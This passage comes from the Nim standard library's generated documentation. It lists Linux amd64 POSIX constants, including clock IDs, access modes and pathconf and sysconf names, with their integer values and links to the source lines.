``` IOFBF = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L549) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L549) ``` IONBF = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L550) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L550) ``` CLOCKS_PER_SEC = 1000000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L553) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L553) ``` CLOCK_PROCESS_CPUTIME_ID = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L554) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L554) ``` CLOCK_THREAD_CPUTIME_ID = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L555) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L555) ``` CLOCK_REALTIME = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L556) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L556) ``` TIMER_ABSTIME = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L557) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L557) ``` CLOCK_MONOTONIC = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L558) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L558) ``` POSIX_ASYNC_IO = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L561) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L561) ``` F_OK = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L562) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L562) ``` R_OK = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L563) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L563) ``` W_OK = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L564) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L564) ``` X_OK = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L565) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L565) ``` CS_PATH = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L566) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L566) ``` CS_POSIX_V6_ILP32_OFF32_CFLAGS = 1116'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L567) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L567) ``` CS_POSIX_V6_ILP32_OFF32_LDFLAGS = 1117'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L568) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L568) ``` CS_POSIX_V6_ILP32_OFF32_LIBS = 1118'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L569) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L569) ``` CS_POSIX_V6_ILP32_OFFBIG_CFLAGS = 1120'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L570) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L570) ``` CS_POSIX_V6_ILP32_OFFBIG_LDFLAGS = 1121'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L571) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L571) ``` CS_POSIX_V6_ILP32_OFFBIG_LIBS = 1122'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L572) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L572) ``` CS_POSIX_V6_LP64_OFF64_CFLAGS = 1124'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L573) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L573) ``` CS_POSIX_V6_LP64_OFF64_LDFLAGS = 1125'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L574) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L574) ``` CS_POSIX_V6_LP64_OFF64_LIBS = 1126'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L575) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L575) ``` CS_POSIX_V6_LPBIG_OFFBIG_CFLAGS = 1128'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L576) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L576) ``` CS_POSIX_V6_LPBIG_OFFBIG_LDFLAGS = 1129'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L577) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L577) ``` CS_POSIX_V6_LPBIG_OFFBIG_LIBS = 1130'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L578) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L578) ``` CS_POSIX_V6_WIDTH_RESTRICTED_ENVS = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L579) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L579) ``` F_LOCK = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L580) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L580) ``` F_TEST = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L581) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L581) ``` F_TLOCK = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L582) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L582) ``` F_ULOCK = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L583) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L583) ``` PC_2_SYMLINKS = 20'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L584) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L584) ``` PC_ALLOC_SIZE_MIN = 18'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L585) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L585) ``` PC_ASYNC_IO = 10'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L586) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L586) ``` PC_CHOWN_RESTRICTED = 6'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L587) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L587) ``` PC_FILESIZEBITS = 13'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L588) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L588) ``` PC_LINK_MAX = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L589) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L589) ``` PC_MAX_CANON = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L590) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L590) ``` PC_MAX_INPUT = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L591) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L591) ``` PC_NAME_MAX = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L592) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L592) ``` PC_NO_TRUNC = 7'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L593) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L593) ``` PC_PATH_MAX = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L594) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L594) ``` PC_PIPE_BUF = 5'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L595) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L595) ``` PC_PRIO_IO = 11'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L596) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L596) ``` PC_REC_INCR_XFER_SIZE = 14'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L597) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L597) ``` PC_REC_MIN_XFER_SIZE = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L598) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L598) ``` PC_REC_XFER_ALIGN = 17'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L599) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L599) ``` PC_SYMLINK_MAX = 19'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L600) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L600) ``` PC_SYNC_IO = 9'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L601) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L601) ``` PC_VDISABLE = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L602) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L602) ``` SC_2_C_BIND = 47'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L603) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L603) ``` SC_2_C_DEV = 48'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L604) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L604) ``` SC_2_CHAR_TERM = 95'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L605) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L605) ``` SC_2_FORT_DEV = 49'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L606) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L606) ``` SC_2_FORT_RUN = 50'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L607) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L607) ``` SC_2_LOCALEDEF = 52'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L608) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L608) ``` SC_2_PBS = 168'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L609) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L609) ``` SC_2_PBS_ACCOUNTING = 169'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L610) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L610) ``` SC_2_PBS_CHECKPOINT = 175'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L611) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L611) ``` SC_2_PBS_LOCATE = 170'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L612) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L612) ``` SC_2_PBS_MESSAGE = 171'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L613) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L613) ``` SC_2_PBS_TRACK = 172'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L614) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L614) ``` SC_2_SW_DEV = 51'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L615) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L615) ``` SC_2_UPE = 97'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L616) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L616) ``` SC_2_VERSION = 46'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L617) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L617) ``` SC_ADVISORY_INFO = 132'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L618) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L618) ``` SC_AIO_LISTIO_MAX = 23'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L619) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L619) ``` SC_AIO_MAX = 24'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L620) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L620) ``` SC_AIO_PRIO_DELTA_MAX = 25'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L621) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L621) ``` SC_ARG_MAX = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L622) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L622) ``` SC_ASYNCHRONOUS_IO = 12'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L623) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L623) ``` SC_ATEXIT_MAX = 87'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L624) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L624) ``` SC_BARRIERS = 133'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L625) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L625) ``` SC_BC_BASE_MAX = 36'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L626) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L626) ``` SC_BC_DIM_MAX = 37'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L627) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L627) ``` SC_BC_SCALE_MAX = 38'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L628) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L628) ``` SC_BC_STRING_MAX = 39'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L629) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L629) ``` SC_CHILD_MAX = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L630) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L630) ``` SC_CLK_TCK = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L631) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L631) ``` SC_CLOCK_SELECTION = 137'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L632) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L632) ``` SC_COLL_WEIGHTS_MAX = 40'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L633) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L633) ``` SC_CPUTIME = 138'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L634) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L634) ``` SC_DELAYTIMER_MAX = 26'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L635) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L635) ``` SC_EXPR_NEST_MAX = 42'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L636) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L636) ``` SC_FSYNC = 15'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L637) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L637) ``` SC_GETGR_R_SIZE_MAX = 69'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L638) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L638) ``` SC_GETPW_R_SIZE_MAX = 70'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L639) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L639) ``` SC_HOST_NAME_MAX = 180'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L640) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L640) ``` SC_IOV_MAX = 60'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L641) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L641) ``` SC_IPV6 = 235'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L642) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L642) ``` SC_JOB_CONTROL = 7'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L643) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L643) ``` SC_LINE_MAX = 43'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L644) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L644) ``` SC_LOGIN_NAME_MAX = 71'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L645) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L645) ``` SC_MAPPED_FILES = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L646) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L646) ``` SC_MEMLOCK = 17'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L647) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L647) ``` SC_MEMLOCK_RANGE = 18'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L648) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L648) ``` SC_MEMORY_PROTECTION = 19'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L649) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L649) ``` SC_MESSAGE_PASSING = 20'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L650) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L650) ``` SC_MONOTONIC_CLOCK = 149'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L651) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L651) ``` SC_MQ_OPEN_MAX = 27'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L652) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L652) ``` SC_MQ_PRIO_MAX = 28'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L653) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L653) ``` SC_NGROUPS_MAX = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L654) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L654) ``` SC_OPEN_MAX = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L655) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L655) ``` SC_PAGESIZE = 30'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L656) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L656) ``` SC_PRIORITIZED_IO = 13'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L657) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L657) ``` SC_PRIORITY_SCHEDULING = 10'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L658) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L658) ``` SC_RAW_SOCKETS = 236'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L659) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L659) ``` SC_RE_DUP_MAX = 44'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L660) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L660) ``` SC_READER_WRITER_LOCKS = 153'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L661) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L661) ``` SC_REALTIME_SIGNALS = 9'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L662) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L662) ``` SC_REGEXP = 155'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L663) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L663) ``` SC_RTSIG_MAX = 31'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L664) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L664) ``` SC_SAVED_IDS = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L665) 